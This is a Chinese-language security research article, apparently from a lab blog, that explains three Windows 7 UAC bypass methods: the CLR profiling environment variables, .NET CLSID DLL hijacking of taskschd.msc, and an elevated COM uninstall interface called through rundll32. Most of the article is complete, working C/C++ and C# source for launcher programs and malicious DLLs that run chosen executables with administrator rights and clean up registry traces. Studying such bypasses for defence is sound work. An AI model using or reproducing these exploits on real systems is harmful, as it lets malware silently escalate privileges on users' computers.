UAC(User AccountControl)是从Windows Vista开始出现的安全技术,它通过限制应用程序的执行权限来达到提升操作系统安全性的目的。在开启UAC的前提下,即使用户使用的是管理员账户登录,默认也只能获取标准权限,当用户某些动作可能会影响系统的安全及稳定性时,UAC便会弹出提示框请求管理员权限,提醒用户该操作属于敏感操作。然而UAC并不是万能的,否则病毒、木马就不会肆意传播感染了,它们经常利用一些UAC技术上的“漏洞”来实现绕过UAC提示,达到悄悄提权的目的。
一、概述对此,天融信阿尔法实验室研究员针对UAC绕过的方法进行了研究和整理,网上有很多关于UAC绕过的技术讨论,hfiref0x在github上整理了各种UAC绕过技术的实现:https://github.com/hfiref0x/UACME,到目前为止,其整理的技术共有48种,还未修复的有17种。
其中大多都是利用白名单程序绕过UAC。网上也有这方便介绍的帖子,像:
COM接口利用的:
.NET程序绕过: https://offsec.provadys.com/UAC-bypass-dotnet.html
他们介绍了白名单程序的利用方式,有一定技术功底的可以明白其原理并做到按图索骥的利用,但基础不好的可能要多做几次实验。本文可以看作是上述利用方式的实验记录,详细介绍了几种白名单程序绕过UAC利用的原理、记录其手工实现过程和自动化实现方法。掌握这些,就相当于掌握了”心法”,”招式”就可以随意使用了。
测试环境:Win7 旗舰版 x32 7601
工具:Procmon、WinDbg、IDA、VS2015
源码:https://github.com/alphaSeclab/bypass-uac
二、CLR加载任意DLL在所有的提权请求中,有一些程序的提权请求不会触发UAC弹框提示,而是默认允许提权执行,我们称这些程序为微软的白名单程序,这些程序是哪些呢?
控制面板中的管理程序绝大部分都是默认提权运行的,而这些程序中有些并不是可执行文件,而是类似mmc程序的插件文件,找到这些程序的原始位置,发现它们都是以msc为后缀的文件:
双击任一msc文件,通过Procmon监控发现最终运行的都是mmc.exe文件
在这些msc中,其中有些执行时需要依赖CLR支持,像事件查看器、任务计划程序等。CLR是什么呢?CLR(Common Language Runtime),是微软为他们的.NET的虚拟机所选用的名称,.NET程序的运行依赖CLR的支持,就像JAVA的虚拟机。
而CLR有一个Profiling机制(https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview)。
简单来说,就是我们提供一个DLL,当任何高权限的.NET运行时,CLR会主动加载该DLL和运行的程序交互,程序的运行情况都会发送给该DLL,类似于OD调试程序。所以当这些默认提权的管理程序运行时就会被CLR加载我们的提供的DLL,在该DLL中创建的进程、执行的行为也是高权限的行为,从而达到绕过UAC的目的。
那么CLR如何知道怎么加载哪个DLL呢?微软官方文档有介绍: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment。
2.1 添加环境变量首先,我们添加以下环境变量:
COR_ENABLE_PROFILING = 1
COR_PROFILER={CLSIDor ProgID}
CLR会先检查环境变量中COR_ENABLE_PROFILING是否为1,若检查通过,则根据.NET版本不同,查找DLL位置的方法也不同,对于低于4.0的则去注册表中查找CLSID或ProgID项,找到其指定的dll文件路径。从.NET4.0版本开始则先查找环境变量COR_PROFILER_PATH是否指定dll文件路径,没有再去注册表中查找对应的CLSID项。所以这里我们就不设置COR_PROFILER_PATH了,这样不管是.NET X都让CLR去注册表中找我们的dll。
虽然帮助文档说环境变量COR_PROFILER的值可以是CLSID也可以是任意名称的ProgID,但实际使用时发现只有CLSID测试正常。
添加环境变量的方法即可以通过系统高级设置添加,也可以通过注册表添加:
#p#分页标题#e#在用户变量中添加环境变量(操作用户环境变量不需要高权限):
COR_ENABLE_PROFILING=1
COR_PROFILER={12345678-1234-1234-1234-123456789ABC}
这个CLSID是随意取的,只要尽量保证不和已有的CLSID重复即可,如果不放心,可以使用VS自带的GUID生成工具创建一个。
使用注册表添加:
2.2 注册CLSID然后我们就可以去注册表中注册我们的CLSID,并设置DLL路径了
找到HKEY_CURRENT_USER\Software\Classes\CLSID项,分别添加以下新项:
{11111111-1111-1111-1111-111111111111}和InprocServer32
设置项InprocServer32的默认值为指定dll路径:
该dll中只负责运行cmd.exe,并退出主进程:
BOOL APIENTRY DllMain ( HMODULE hModule, DWORD ul_reason_for_call , LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { WinExec("cmd.exe" , SW_SHOWNORMAL); ExitProcess(0); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }现在我们尝试运行gpedit.msc,看能否运行管理员权限的cmd程序:
#p#分页标题#e#到此,手工实验成功,成功获取管理员权限且没有UAC弹框。且所有高权限的.NET程序运行时都会加载我们的dll。但这里提权时会影响此后其他.NET程序的正常使用,下面我们把这些步骤自动化,并实现给指定程序提权,且不影响.NET程序的正常使用。
2.3 自动化实现exe程序:
int main(int argc,char* argv[]) { HKEY hKeyExe = NULL ; HKEY hEnv = NULL ; HKEY hCLSID = NULL ; // 1、 注册提权exe地址,dll文件读取该地址执行 if (argc < 2) { printf("请指定提权exe文件路径!\n" ); return 0; } // 1.1 将需要提权的文件路径注册到HKCU\Software\MyExe下 int nLen = strlen (argv[1]); TCHAR szExePath[MAX_PATH ] = {}; MultiByteToWideChar(CP_ACP, NULL , argv[1], nLen, szExePath , MAX_PATH); TCHAR szKeyName[MAX_PATH ]={ L"Software\\MyExe" }; long lResult = RegCreateKeyEx (HKEY_CURRENT_USER, szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS| KEY_WOW64_32KEY , NULL, &hKeyExe, NULL ); if (lResult != ERROR_SUCCESS ) return 0; RegSetValueEx(hKeyExe, NULL , 0, REG_SZ, (BYTE*)szExePath ,nLen*2); RegCloseKey(hKeyExe); // 2、 添加环境变量 lResult = RegCreateKeyEx(HKEY_CURRENT_USER , L"Environment", 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hEnv, NULL ); if (lResult != ERROR_SUCCESS ) return 0; RegSetValueEx(hEnv, L"COR_ENABLE_PROFILING", 0, REG_SZ, (BYTE *)L"1", 2); TCHAR wcCLSID[] = L"{11111111-1111-1111-1111-111111111111}"; RegSetValueEx(hEnv, L"COR_PROFILER", 0, REG_SZ, (BYTE*) wcCLSID, wcslen(wcCLSID)*2); RegCloseKey(hEnv); // 3、 注册CLSID,指定dll路径 TCHAR szCLSID[MAX_PATH ] = {L"Software\\Classes\\CLSID\\{11111111-1111-1111-1111-111111111111}\\InprocServer32"}; // 演示用,DLL路径固定 TCHAR szDll[MAX_PATH ] = {L"C:\\Temp\\test.dll"}; RegCreateKeyEx(HKEY_CURRENT_USER , szCLSID, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hCLSID, NULL ); RegSetValueEx(hCLSID, NULL , 0, REG_SZ, (BYTE*)szDll , wcslen(szDll)*2); RegCloseKey(hCLSID); // 4、启动msc程序,加载DLL system("mmc.exe gpedit.msc"); // 5、删除注册的CLSID键,防止影响别的.NET程序运行 RegDeleteKeyEx(HKEY_CURRENT_USER , szCLSID, KEY_WOW64_32KEY, NULL ); return 0; }dll代码:
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //读取需要提权的exe路径并执行 HKEY hKeyExe = NULL; TCHAR szExePath [MAX_PATH] = {}; TCHAR szKeyName [MAX_PATH] = { L"Software\\MyExe" }; long lResult = RegOpenKeyEx (HKEY_CURRENT_USER, szKeyName, 0, KEY_READ | KEY_WOW64_32KEY, &hKeyExe); if (lResult != ERROR_SUCCESS ) ExitProcess(0); DWORD dwSize = MAX_PATH*2; RegQueryValueEx(hKeyExe , NULL, 0, NULL, (BYTE *)szExePath, &dwSize); char cPath[MAX_PATH ] = {}; WideCharToMultiByte(CP_ACP , NULL, szExePath, wcslen (szExePath), cPath, MAX_PATH , NULL, NULL); WinExec(cPath,SW_SHOWNORMAL ); RegCloseKey(hKeyExe ); ExitProcess(0); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }运行效果图:
#p#分页标题#e# 三、DLL劫持DLL劫持技术经常被恶意程序利用来执行恶意行为,同样,DLL劫持技术原理也可用于UAC绕过。一般PE文件加载DLL依赖项的时候,加载器会在磁盘目录中直接搜索这些DLL文件,.NET程序则不同,因为.NET版本问题,同样的DLL其.NET版本不同,CLR加载这些DLL时会通过注册表中的CLSID项来确定要加载的dll位置,这就给了我们可乘之机,欺骗CLR让其加载我们指定的DLL。默认提权的管理程序加载我们指定的dll后,在dll内就可以执行提权代码了。
3.1 寻找目标DLL以任务计划程序taskschd.msc为例,使用微软提供的工具Procmon筛选LoadImage查看其运行时会加载哪些DLL:
上面的红色框内的这种DLL为正常加载的DLL,下面的红色框内带版本的的DLL就是可以被我们利用的DLL。
筛选CLSID相关的注册表操作:
找到注册表项路径中含有类似3.0.0.0这样带版本的,其操作的注册表项就是我们要找的目标。
其中Assmbly的值由dll名称、该DLL的.NET版本、语言及其token组成,观察LoadImage图中的DLL路径就会发现其路径中的值是由Assembly组成。其实CLR搜索注册表项时,DLL路径不仅可以由Assmbly指定,还可以由CodeBase值指定,由于我们不能操作系统目录,所以CodeBase值就对我们很有用了。
Class为加载该DLL时访问的类。我们可以通过该类的静态构造函数来执行目标代码。
InprocServer32下的子键3.0.0.0中的值和InprocServer32值相似:
#p#分页标题#e#我们只需要将DLL名和类名指定为我们自己的DLL名和类名,并由“CodeBase“指定DLL路径就可以达到欺骗CLR加载我们自己的DLL的目的。但是注意不要直接操作该注册表项,因为其根键为HKCR,HKCR中的CLSID由HKLM和HKCU下的Software\Classes\CLSID组成,我们假想中的环境是没有操作HKLM的权限的,所以要在HKCU中建立类似的项。
3.2 DLL劫持在HKEY_CURRENT_USER\Software\Classes\CLSID下添加子键{D5AB5662-131D-453D-88C8-9BBA87502ADE},并将HKEY_CLASSES_ROOT\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}键的值依次拷贝到新建项下。
准备C#编译的DLL,注意.NET版本要和上图中Assembly指定的一致:
DLL中启动CMD然后退出加载DLL的进程(这里指taskschd.msc)
namespace CLSID { public class Class1 { static Class1() { Process.Start("cmd.exe"); Environment.Exit(0); } } }编译生成后拷贝到C:\Temp\CLSID.dll
将注册表中的InprocServer32和3.0.0.0中的值改为我们的DLL信息,并由CodeBase指定DLL路径:
运行taskschd.msc后成功弹出提权后的cmd命令行:
3.3 自动化实现下面我们实现其自动化代码,实现提权指定程序,并清理注册表痕迹,不影响mmc程序的正常运行:
EXE代码:
int main(int argc, char* argv[]) { HKEY hKeyExe = NULL ; HKEY hKeyCLSIDSrc = NULL ; HKEY hKeyCLSIDDes = NULL ; // 1、 注册提权exe地址,dll文件读取该地址执行 if (argc < 2) { printf("请指定提权exe文件路径!\n" ); return 0; } // 1.1 将需要提权的EXE文件路径注册到HKCU\Software\MyExe下 int nLen = strlen (argv[1]); TCHAR szExePath[MAX_PATH ] = {}; MultiByteToWideChar(CP_ACP, NULL , argv[1], nLen, szExePath , MAX_PATH); TCHAR szKeyName[MAX_PATH ] = { L"Software\\MyExe" }; long lResult = RegCreateKeyEx (HKEY_CURRENT_USER, szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hKeyExe, NULL ); if (lResult != ERROR_SUCCESS ) return 0; RegSetValueEx(hKeyExe, NULL , 0, REG_SZ, (BYTE*)szExePath , nLen * 2); RegCloseKey(hKeyExe); // 2、 拷贝并修改CLSID,指定dll路径 // 2.1、拷贝 TCHAR szCLSIDSrc[MAX_PATH ] = { L"CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}" }; TCHAR szCLSIDDes[MAX_PATH ] = { L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}" }; RegOpenKeyEx(HKEY_CLASSES_ROOT , szCLSIDSrc, 0, KEY_READ|KEY_WOW64_32KEY , &hKeyCLSIDSrc); RegCreateKeyEx(HKEY_CURRENT_USER , szCLSIDDes, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY, NULL, & hKeyCLSIDDes, NULL); RegCopyTree(hKeyCLSIDSrc, NULL , hKeyCLSIDDes); RegCloseKey(hKeyCLSIDSrc); RegCloseKey(hKeyCLSIDDes); // 2.2、 修改 TCHAR *szSubKey[] = { L"\\InprocServer32" ,L"\\3.0.0.0" }; for (int i=0;i<2;++i) { wcscat_s(szCLSIDDes , MAX_PATH, szSubKey[i ]); RegOpenKeyEx(HKEY_CURRENT_USER , szCLSIDDes, 0, KEY_SET_VALUE | KEY_WOW64_32KEY , &hKeyCLSIDDes); DWORD cbData = (DWORD)((1 + wcslen(L"CLSID, Version=3.0.0.0, Culture=neutral" )) * sizeof(WCHAR)); lResult = RegSetValueEx (hKeyCLSIDDes, L"Assembly", 0, REG_SZ, (BYTE *)L"CLSID, Version=3.0.0.0, Culture=neutral", cbData); cbData = (DWORD )((1 + wcslen(L"CLSID.Class1")) * sizeof (WCHAR)); lResult = RegSetValueEx (hKeyCLSIDDes, L"Class", 0, REG_SZ, (BYTE *)L"CLSID.Class1", cbData); cbData = (DWORD )((1 + wcslen(L"file://c://Temp//CLSID.dll")) * sizeof(WCHAR)); lResult = RegSetValueEx (hKeyCLSIDDes, L"CodeBase", 0, REG_SZ, (BYTE *)L"file://c://Temp//CLSID.dll", cbData); RegCloseKey(hKeyCLSIDDes ); } // 3、启动msc程序,加载DLL system("mmc.exe taskschd.msc"); // 4、删除注册的CLSID键,防止影响正常程序运行 RegOpenKeyEx(HKEY_CURRENT_USER , L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}", 0, DELETE| KEY_ENUMERATE_SUB_KEYS |KEY_QUERY_VALUE | KEY_WOW64_32KEY, & hKeyCLSIDDes); RegDeleteTree(hKeyCLSIDDes, NULL ); RegDeleteKeyEx(HKEY_CURRENT_USER , L"Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}", KEY_WOW64_32KEY , NULL); return 0; } #p#分页标题#e#DLL代码(注意.NET版本):
namespace CLSID { public class Class1 { static Class1() { RegistryKey Key = Registry.CurrentUser.OpenSubKey ("Software\\MyExe", false); string CustomParam = Key.GetValue("" ).ToString(); Key.Close (); Process.Start (CustomParam); Environment.Exit (0); } } }运行效果,可指定任意exe程序:
四、COM接口绕过UAC上面两种方法利用的都是mmc.exe程序绕过UAC,其实在%systemroot%下有很多exe程序都是windows系统的白名单程序,像cmd.exe、calc.exe等,但是这些程序和mmc.exe不同,如果在这些程序上右键以管理员权限运行,他们同样会触发UAC弹框提示,那像这样的白名单还有什么用处呢?
4.1 原理介绍我们卸载程序时,如果直接运行卸载程序,则会触发弹框提示:
#p#分页标题#e#但是通过控制面板的卸载程序窗口卸载程序时却不会触发UAC弹框提示,我们利用WinDbg跟踪explorer.exe查看它是如何提权运行卸载程序的:
explorer.exe最终调用的是appwiz模块中的接口实现提权,那么我们是否可以同样调用该接口实现绕过提权呢?用IDA分析appwiz模块查看其函数调用过程:
发现找不到CARPUninstallStringLauncher::LaunchUninstallStringAndWait,该接口未导出(windbg能识别是因为加载了符号文件)。手动加载符号文件(已提供在源码中,版本win7_32_7601):
由windbg调用栈可知,该函数由CInstalledAapp::_CreateAppModifyProcess调用,找到调用返回位置:函数地址偏移+0×244
F5转到伪代码:
像是虚函数的调用,回到CARPUninstallStringLauncher::LaunchUninstallStringAndWait函数,找到其虚函数表:
虚函数表的结构找到了,如果找到获取CARPUninstallStringLauncher实例的方法,就可以直接调用该函数实现提权了。回到调用该函数的地方CInstalledAapp::_CreateAppModifyProcess:
#p#分页标题#e#this的获取方法和COM接口调用相同:通过CLSID和IID。上图中,获取PPV的方法有两个,但我们知道CoCreateInstance并不能提权,CoCreateInstanceAsAdminWithCorrectBitness函数名更像是我们需要的函数,查看其函数实现:
这样PPV的获取方法和调用进程的接口都找到后,我们就可以代码实现了。
定义接口变量类型:
struct IARPUninstallStringLauncher; typedef struct IARPUninstallStringLauncherVtbl { HRESULT(_stdcall * QueryInterface)( __RPC__in IARPUninstallStringLauncher * This, __RPC__in REFIID riid, _COM_Outptr_ void **ppvObject); ULONG(_stdcall * AddRef)( __RPC__in IARPUninstallStringLauncher * This); ULONG(_stdcall * Release)( __RPC__in IARPUninstallStringLauncher * This); HRESULT(_stdcall * LaunchUninstallStringAndWait)( __RPC__in IARPUninstallStringLauncher * This, _In_ HKEY hKey, _In_ LPCOLESTR Item, _In_ BOOL bModify, _In_ HWND hWnd); HRESULT(_stdcall * RemoveBrokenItemFromInstalledProgramsList)( __RPC__in IARPUninstallStringLauncher * This, _In_ HKEY hKey, _In_ LPCOLESTR Item); }IARPUNINSTALLSTRINGLAUNCHERVTBL, *PIARPUNINSTALLSTRINGLAUNCHERVTBL; typedef struct IARPUninstallStringLauncher { IARPUninstallStringLauncherVtbl *lpVtbl; }IARPUNINSTALLSTRINGLAUNCHER,*PIARPUNINSTALLSTRINGLAUNCHER;逻辑代码:
int _tmain(int argc, _TCHAR* argv []) { CLSID clsid; IID iid; HRESULT hr; BIND_OPTS3 bo; WCHAR szElevationMoniker [300]; PIARPUNINSTALLSTRINGLAUNCHER ppv; // 获取提权com接口 if (IIDFromString( L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) || IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}" , &iid)) return 0; CoInitialize(NULL); hr = StringCchPrintf( szElevationMoniker, sizeof(szElevationMoniker) / sizeof(szElevationMoniker[0]), L"Elevation:Administrator!new:%s", L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}" ); if (FAILED( hr)) return 0; memset(&bo, 0, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; hr = CoGetObject( szElevationMoniker, &bo, iid, ( void**)&ppv); // 调用HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程序 if (SUCCEEDED( hr)) { ppv->lpVtbl ->LaunchUninstallStringAndWait(ppv, 0, L"test" , 0, NULL); ppv->lpVtbl ->Release(ppv); } CoUninitialize(); return 0; } #p#分页标题#e#因为我们是以卸载的方式调用指定程序,代码中调用的是“test”卸载项,所以需要在注册表位置HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall中新建test项:
运行后发现能成功提权,但是有UAC提示框,为什么呢?上面的代码和程序卸载面板的唯一区别就是运行提权的进程不同,卸载时使用的是explorer.exe进程,这时候就体现出explorer.exe这些白名单的特权:不触发UAC弹框提示。
所以,要实现提权操作需要两个东西:COM提权接口和白名单程序。
怎么让白名单程序调用我们上面的函数呢:dll注入或payload注入,但是对于白名单进程注入这种敏感操作会引起主流杀软的拦截提醒,所以一般采用另一种方法:封装成DLL利用rundll32加载该dll,因为rundll32也是白名单程序,COM接口提权不会触发UAC弹框。
4.2 自动化实现rundll32.exe加载的dll比需有如下原型的导出函数:
void CALLBACK FunctionName ( HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow );当运行“rundll32.exedll名,函数名 命令行参数”,rundll32就会加载该dll,并把命令行参数作为导出函数的第3个参数传递给该函数并调用它,我们只需要将上面的逻辑代码写在该导出函数里,然后调用rundll32即可:
更改后的exe代码:
int main(int argc, char* argv []) { HKEY hKeyExe = NULL ; if (argc < 2) { printf(" 请指定提权exe文件路径!\n"); return 0; } // 1. 将需要提权的文件路径注册到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\test下 int nLen = strlen (argv[1]); TCHAR szExePath[MAX_PATH ] = {}; MultiByteToWideChar(CP_ACP , NULL, argv[1], nLen , szExePath, MAX_PATH); TCHAR szKeyName[MAX_PATH ] = { L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\test" }; long lResult = RegCreateKeyEx (HKEY_CURRENT_USER, szKeyName, 0, NULL , REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_32KEY , NULL, &hKeyExe, NULL ); if (lResult != ERROR_SUCCESS ) return 0; RegSetValueEx(hKeyExe, L"DisplayName", 0, REG_SZ, (BYTE*) L"test", 10); RegSetValueEx(hKeyExe, L"UninstallString", 0, REG_SZ, (BYTE *)szExePath, (nLen+1)*2); RegCloseKey(hKeyExe); // 2 调用rundll32 system("rundll32.exe com_dll.dll,ElevFunc" ); return 0; }封装的dll代码(将第1次的main函数的代码封装到导出函数即可,注意给导出函数有前后缀,给其取个别名方便调用):
#pragma comment(linker, "/export:ElevFunc=_ElevFunc@16" ) extern "C" _declspec (dllexport) void CALLBACK ElevFunc( HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow ) { CLSID clsid; IID iid; HRESULT hr; BIND_OPTS3 bo; WCHAR szElevationMoniker [300]; PIARPUNINSTALLSTRINGLAUNCHER ppv; // 获取提权com接口 if (IIDFromString( L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) || IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}" , &iid)) return; CoInitialize(NULL); hr = StringCchPrintf( szElevationMoniker, sizeof(szElevationMoniker) / sizeof(szElevationMoniker[0]), L"Elevation:Administrator!new:%s", L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}" ); if (FAILED( hr)) return; memset(&bo, 0, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; hr = CoGetObject( szElevationMoniker, &bo, iid, ( void**)&ppv); // 调用HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\下的test程序 if (SUCCEEDED( hr)) { ppv->lpVtbl-> LaunchUninstallStringAndWait(ppv, 0, L"test", 0, NULL ); ppv->lpVtbl-> Release(ppv); } CoUninitialize(); ExitProcess(0); return; }运行效果如下:
#p#分页标题#e# 五、总结CLS加载任意dll虽然方便:任意高权限.NET程序都会加载dll执行提权代码,但涉及环境变量的操作是敏感操作,会被主流杀软拦截;DLL劫持相比CLS来说比较“专一”了,只有依赖指定dll的.NET程序才会被劫持加载。而且不会引起主流杀软拦截;COM接口绕过选择度比较高,不想依赖DLL就选择payload注入,但会引起拦截,利用rundll32运行则需要dll依赖,但不会引起拦截,且自由度比CLR和DLL劫持自由度更高,不会影响其他程序的正常运行。
这几种方法只是绕过UAC的多种方法的一部分,但从这也可以看出,UAC并不能提供足够的安全防护,所以不要过于信赖UAC,养成良好的安全意识和操作习惯更重要。
六、参考资料https://github.com/hfiref0x/UACME
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
https://offsec.provadys.com/UAC-bypass-dotnet.html
上一篇: 技术讨论 | 使用CredSniper获取双因素认证令牌
下一篇: 一处代码执行引发的思考